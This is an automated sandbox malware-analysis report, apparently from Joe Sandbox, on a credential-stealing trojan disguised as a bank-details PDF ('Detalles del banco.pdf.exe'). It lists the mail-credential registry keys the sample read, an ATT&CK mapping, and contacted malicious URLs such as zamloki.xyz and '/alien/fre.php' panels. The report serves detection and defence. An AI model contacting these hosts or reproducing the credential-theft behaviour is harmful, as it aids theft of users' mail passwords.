Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Code function: PopPassword		11_2_0040D069
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Code function: SmtpPassword		11_2_0040D069

Source: Yara match	File source: 1.2.Detalles del banco.pdf.exe.4048c60.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Detalles del banco.pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Detalles del banco.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Detalles del banco.pdf.exe PID: 7128, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Access Token Manipulation1	Masquerading11	OS Credential Dumping2	Security Software Discovery111	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection112	Disable or Modify Tools1	Credentials in Registry2	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion21	Security Account Manager	Virtualization/Sandbox Evasion21	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol113	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information13	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing2	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Detalles del banco.pdf.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
Detalles del banco.pdf.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
11.2.Detalles del banco.pdf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
1.2.Detalles del banco.pdf.exe.4048c60.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
zamloki.xyz	7%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://zamloki.xyz/des/co/tox.php	7%	Virustotal		Browse
http://zamloki.xyz/des/co/tox.php	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/typedesigners.html~C	0%	Avira URL Cloud	safe
http://www.carterandcone.comva	0%	URL Reputation	safe
http://www.fontbureau.comdTTFc	0%	Avira URL Cloud	safe
http://www.fontbureau.comt;	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/en-u	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/b	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/0	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0	0%	URL Reputation	safe
http://www.fontbureau.comldc	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
https://zamloki.xyz/des/co/tox.php	0%	Avira URL Cloud	safe
http://www.fontbureau.comsiv/0	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/#	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.fontbureau.comaj	0%	Avira URL Cloud	safe
http://www.carterandcone.como.	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/T	0%	URL Reputation	safe
http://www.fontbureau.comceac	0%	Avira URL Cloud	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://www.fontbureau.comalic-	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/F	0%	URL Reputation	safe
http://www.fontbureau.come.com_	0%	Avira URL Cloud	safe
http://www.fontbureau.come.com	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/;	0%	URL Reputation	safe
http://www.fontbureau.comFx	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/z	0%	URL Reputation	safe
http://www.fontbureau.coma0	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/x	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/q	0%	URL Reputation	safe
http://www.fontbureau.comituO	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/r	0%	URL Reputation	safe
http://www.founder.com.cn/cn9	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/j	0%	URL Reputation	safe
http://www.founder.com.cn/cn//w	0%	Avira URL Cloud	safe
http://www.fontbureau.comals	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/c	0%	URL Reputation	safe
http://www.fontbureau.comM.TTF	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/_	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://douglasheriot.com/uno/)Microsoft	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/_	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.monotype.s	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/c	0%	Avira URL Cloud	safe
http://www.typography.net	0%	URL Reputation	safe
http://www.fontbureau.comF;	0%	Avira URL Cloud	safe
http://douglasheriot.com/uno/	0%	Avira URL Cloud	safe
http://www.carterandcone.comV	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.carterandcone.comJ	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.founder.com.cn/cnd	0%	URL Reputation	safe
http://www.galapagosdesign.com/j	0%	Avira URL Cloud	safe
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://www.fontbureau.comW.TTF	0%	Avira URL Cloud	safe
http://www.fontbureau.comdx	0%	Avira URL Cloud	safe
http://www.carterandcone.comlt	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/q	0%	Avira URL Cloud	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/T	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/x	0%	Avira URL Cloud	safe
http://www.fontbureau.comdj	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/nl-n	0%	Avira URL Cloud	safe
http://www.fontbureau.comq	0%	Avira URL Cloud	safe
http://www.monotype.	0%	URL Reputation	safe
http://www.galapagosdesign.com/b4	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.comv	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
zamloki.xyz	172.67.155.45	true	true	7%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zamloki.xyz/des/co/tox.php	true	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://zamloki.xyz/des/co/tox.php	true	Avira URL Cloud: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe	unknown
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.ascendercorp.com/typedesigners.html~C	Detalles del banco.pdf.exe, 00000001.00000003.341639907.0000000005D9B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comva	Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comdTTFc	Detalles del banco.pdf.exe, 00000001.00000003.343561531.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.fontbureau.comt;	Detalles del banco.pdf.exe, 00000001.00000003.342894136.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.sajatypeworks.com	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/en-u	Detalles del banco.pdf.exe, 00000001.00000003.341427288.0000000005DBF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/b	Detalles del banco.pdf.exe, 00000001.00000003.340141373.0000000005DBE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/0	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comldc	Detalles del banco.pdf.exe, 00000001.00000003.343752319.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ascendercorp.com/typedesigners.html	Detalles del banco.pdf.exe, 00000001.00000003.341677043.0000000005D9B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comsiv/0	Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/#	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comaj	Detalles del banco.pdf.exe, 00000001.00000003.351084961.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.como.	Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/	Detalles del banco.pdf.exe, 00000001.00000003.347132491.0000000005DC0000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000003.347156344.0000000005D9B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/T	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comceac	Detalles del banco.pdf.exe, 00000001.00000003.342738871.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers~	Detalles del banco.pdf.exe, 00000001.00000003.344642223.0000000005D9B000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comalic-	Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.jiyu-kobo.co.jp/F	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.come.com_	Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.come.com	Detalles del banco.pdf.exe, 00000001.00000003.351084961.0000000005DC0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/;	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comFx	Detalles del banco.pdf.exe, 00000001.00000003.343774792.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/z	Detalles del banco.pdf.exe, 00000001.00000003.341226460.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.coma0	Detalles del banco.pdf.exe, 00000001.00000003.351084961.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/x	Detalles del banco.pdf.exe, 00000001.00000003.341427288.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	Detalles del banco.pdf.exe, 00000001.00000003.343825095.0000000005D9B000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/q	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comituO	Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/r	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn9	Detalles del banco.pdf.exe, 00000001.00000003.339961162.0000000005DBD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/j	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn//w	Detalles del banco.pdf.exe, 00000001.00000003.339865643.0000000005DBD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comals	Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/c	Detalles del banco.pdf.exe, 00000001.00000003.341031838.0000000005DC4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comM.TTF	Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/_	Detalles del banco.pdf.exe, 00000001.00000003.341132633.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.ibsensoftware.com/	Detalles del banco.pdf.exe, Detalles del banco.pdf.exe, 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
http://douglasheriot.com/uno/)Microsoft	Detalles del banco.pdf.exe	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-jones.htmlslnt(	Detalles del banco.pdf.exe, 00000001.00000003.343774792.0000000005DC0000.00000004.00000001.sdmp	false		high
http://www.tiro.com	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	Detalles del banco.pdf.exe, 00000001.00000003.340888504.0000000005DC0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/_	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Detalles del banco.pdf.exe, 00000001.00000003.347235327.0000000005D9B000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000003.347156344.0000000005D9B000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.monotype.s	Detalles del banco.pdf.exe, 00000001.00000003.346947730.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/c	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.typography.net	Detalles del banco.pdf.exe, 00000001.00000003.338837721.0000000005DA0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comF;	Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://douglasheriot.com/uno/	Detalles del banco.pdf.exe	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comV	Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comJ	Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sakkal.com	Detalles del banco.pdf.exe, 00000001.00000003.341746502.0000000005D9B000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000003.341677043.0000000005D9B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnd	Detalles del banco.pdf.exe, 00000001.00000003.339865643.0000000005DBD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/j	Detalles del banco.pdf.exe, 00000001.00000003.347132491.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comW.TTF	Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comdx	Detalles del banco.pdf.exe, 00000001.00000003.343381990.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comlt	Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers1L	Detalles del banco.pdf.exe, 00000001.00000003.350801625.0000000005D9B000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/q	Detalles del banco.pdf.exe, 00000001.00000003.341132633.0000000005DBF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/T	Detalles del banco.pdf.exe, 00000001.00000003.339258321.0000000005DBE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/x	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designerssL	Detalles del banco.pdf.exe, 00000001.00000003.344747350.0000000005D9B000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comdj	Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlO	Detalles del banco.pdf.exe, 00000001.00000003.344612897.0000000005DC0000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.html	Detalles del banco.pdf.exe, 00000001.00000003.344612897.0000000005DC0000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/nl-n	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comq	Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.monotype.	Detalles del banco.pdf.exe, 00000001.00000003.346947730.0000000005DC0000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000003.346281060.0000000005DC0000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000003.348555288.0000000005DC0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/b4	Detalles del banco.pdf.exe, 00000001.00000003.347107000.0000000005D9B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	false		high
http://www.fontbureau.comv	Detalles del banco.pdf.exe, 00000001.00000003.342738871.0000000005DC0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.155.45	zamloki.xyz	United States		13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	455130
Start date:	27.07.2021
Start time:	22:05:35
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Detalles del banco.pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@123/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 20.3% (good quality ratio 18.7%) Quality average: 72.2% Quality standard deviation: 32.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 53 Number of non-executed functions: 4
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.139.144, 104.42.151.234, 23.54.113.53, 40.88.32.150, 168.61.161.212, 20.82.210.154, 20.54.110.249, 40.112.88.60, 23.10.249.43, 23.10.249.26, 95.100.54.203, 20.82.209.183 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, skypedataprdcolcus16.cloudapp.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many 